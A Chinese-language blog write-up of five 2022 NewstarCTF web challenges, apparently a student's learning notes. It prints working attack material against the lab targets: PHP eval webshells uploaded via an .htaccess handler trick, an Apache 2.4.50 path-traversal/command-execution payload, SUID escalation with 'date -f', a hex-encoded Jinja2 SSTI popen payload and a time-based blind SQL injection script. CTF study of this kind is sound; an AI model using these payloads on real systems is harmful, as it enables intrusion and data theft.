[Writeup]2022 NewstarCTF_Week5(Web部分)

发布时间 2023-09-18 16:29:18作者: notbad3

一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了。

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

Give me your photo PLZ

image
任意文件上传?直接来个直球:
image
image
这时候我懒得搞直接尝试上传配置文件了。。没想到竟然上传成功了:

<FilesMatch "test1.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传个test1.png看看:

GIF89a
<script language='php'>@eval($_POST['viper']);</script>
<script language='php'>@eval($_GET['notbad']);</script>

不回显上传路径就F12看网络,查查这东西传到哪去了:
image
访问http://aaa01a0a-38c2-4b57-a1b2-54a4ce580100.node4.buuoj.cn:81/upload/test1.png
image
回显了欺骗头,直接蚁剑连:
image
看flag:
image
可惜,它说在env里,那就给viper传个phpinfo();看environment里有啥东西:
image
得到flag。

Unsafe Apache

image
看源码啥也没有,burpsuite抓下包看看啥情况:
image
response包里提示了版本:Apache/2.4.50,根据题目直接找这个版本的Apache有啥漏洞:
https://www.cnblogs.com/RichardYg/p/16272796.html//参考了这位师傅的文章,感谢
看了一下这东西可以通过目录穿越去读除了web目录之外的文件,直接用现成的payload:
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
image
读了etc/passwd?
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
image
image
echo;cat /ffffllllaaagggg_cc084c485d;
image
image
这题感觉根本没做明白。。就是找现成的命令放上去了。。

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]); //只执行但不回显
    }
}else{
    show_source(__FILE__);
}

image
可以在命令后添加一个>重定向符把输出存到某个文件中,这个文件默认路径就是当前目录,比如:
echo '11111<?php @eval($_POST[1])?>' > webshell.php
会把这东西存到webshell.php中,默认路径就是当前目录,然后直接在当前目录访问webshell.php就行了。
/?cmd=ls -al / > viper3.txt
访问viper3.txt:
image
有个ffll444aaggg,直接cat读:
/?cmd=cat /ffll444aaggg > txy.txt
image
txy.txt啥也没有。。后来看了wp才知道没权限读,回过头看下ls -al /后和ffll444aaggg的权限都是啥:
-rwx------ 1 root root 43 Sep 13 11:17 ffll444aaggg
第一个-意思是它是个文件,如果是d的话就是目录了。r、w、x分别代表读、写、执行的权限(后面九位分别是所有者、除所有者外的同组人员、组外人员)。根用户权限最大,对根用户限制没啥用。目前看是没权限读这个文件的。
感谢这位师傅的wp:
https://mochu.blog.csdn.net/article/details/127354492?spm=1001.2014.3001.5502
了解了一下SUID提权,先放上SUID和SUID提权的概念(问的GPT),以及鸟叔的Linux私房菜里的一些解释:
image
image
image
看下shadow和passwd这俩东西的权限:
image
image
说说我这个小白的个人理解:ffll444aaggg只让根用户root读写执行其它用户没这权限。但如果某个可执行文件具有SUID权限时,普通用户执行它就会临时"变成"根用户,进而执行某些命令。那我可以去找拥有SUID的某个可执行文件,然后执行它去读ffll444aaggg这东西。
/?cmd=find / -perm -u=s -type f 2>/dev/null>123.txt //查看具有SUID权限的命令
image
结果:
image
师傅们的wp里都说用这个date命令:
date -f命令:
这东西是个根据内容读出日期的命令,比如我用vim写个东西:

vim /home/viper3/hellodajia.txt

内容:

2023-9-11 15:15:15

然后 按esc 输入     :wp

然后

date -f /home/viper3/hellodajia.txt

image
他会出这种东西
那让他读一些非时间的文件呢?比如hello.txt的内容是:

hello world!
yes
no
whyA

image
date -f /home/viper3.hello.txt看看结果:
image
这东西以报错的形式把文档内容读出来了。
所以我们可以用date -f 命令去读某些东西。
?cmd=date -f /ffll444aaggg 2> 9.txt //注意这里要用错误重定向,我个人理解是因为这东西要依靠报错把内容读出来
结果:
image

BabySSTI_Three

先看看是啥模板,根据前两题经验直接/?name={{7*'7'}}
image
7个7,还是Jinja2。
尝试了一下这题是在前两题上新增了过滤:应该只增加了冒号(?,这样就不能进行切片操作了。不过还可以利用十六进制绕过:
参考了末初师傅的文章,感谢:
https://blog.csdn.net/mochu7777777/article/details/127354492?spm=1001.2014.3001.5506
先把我们要执行的命令转成ASCII,再进行十六进制编码

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]#去掉前面的0x转换成\x
		res_payload += i
	print('[+]"{}" Convert to hex: "{}"'.format(payload,res_payload))

if __name__ == '__main__':
	payload = "__class__"
	hex_payload(payload)

输出:
\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}},除了.以外还可以用中括号访问变量的属性。
把这东西赋值给name看看效果:
image
剩下的步骤就和前两道几乎一样了,最终payload:
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ca${Z}t${IFS}/fl*').read()}}
结果:
image

Final round

image
输个100看看啥情况:
image
回显查询请求已发送
他这个100应该是和有留言内容的,我们输入个notbad3看看:
image
不报错、不回显,考虑延时注入:
注入点在哪?URL里没有,burpsuite抓下包看看啥情况:
image
POST传name就行
以前没写过延时注入的脚本XD,不知道怎么搞就找了找wp,感谢这位师傅的文章:
https://blog.csdn.net/mochu7777777/article/details/127354492?spm=1001.2014.3001.5506
师傅用request.post时还用了myheaders传了User-Agent、Accept、Accept-Language、Accept-Encoding、Connection这些头,我嫌麻烦就没搞,哈哈。

import requests
import time

myurl = 'http://f7a282ac-9041-48a6-b86a-5bbe042f7035.node4.buuoj.cn:81/comments.php'

content = ''
for pos in range(500):
    min_num = 32
    max_num = 126 //32 到126(即 ASCII 表中可打印字符的范围)
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
        payload = 'name=if(ord(mid((select(group_concat(text))from(wfy.wfy_comments)),{},1))>{},sleep(0.2),100)'.format(pos, mid_num)//mid和substr功能类似,都是从字符串中截取子字符串的函数
        resp = requests.post(url=myurl,  data=payload)//GET用params,POST用data
        resp_time = resp.elapsed.total_seconds()//将从发送请求到接收响应所经过的时间(以秒为单位)赋值给变量 resp_time。
        if resp_time > 2: 
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = ((min_num + max_num) // 2)
    content += chr(min_num)
    print(content)

sleep(0.2)这东西应该是让系统“休眠”0.2s?但我也不知道为啥实际等待时间要远大于0.2s(在2s以上)。一开始我还以为师傅的wp写错了,后来拿burpsuite抓包看了看反应时间:
name=sleep(0.2)
image
image
name=100
image
image
不知道哪些因素影响了这个时间?
结果:
image
这东西要运行挺久的。mid这东西意思和substr意思差不多?换成substr看看:
image
结果一样,加个reverse看看啥情况:
name=if(ord(substr(reverse((select(group_concat(text))from(wfy_comments))),{},1))>{},sleep(0.2),100)
image

?的,果然把flag放最后了。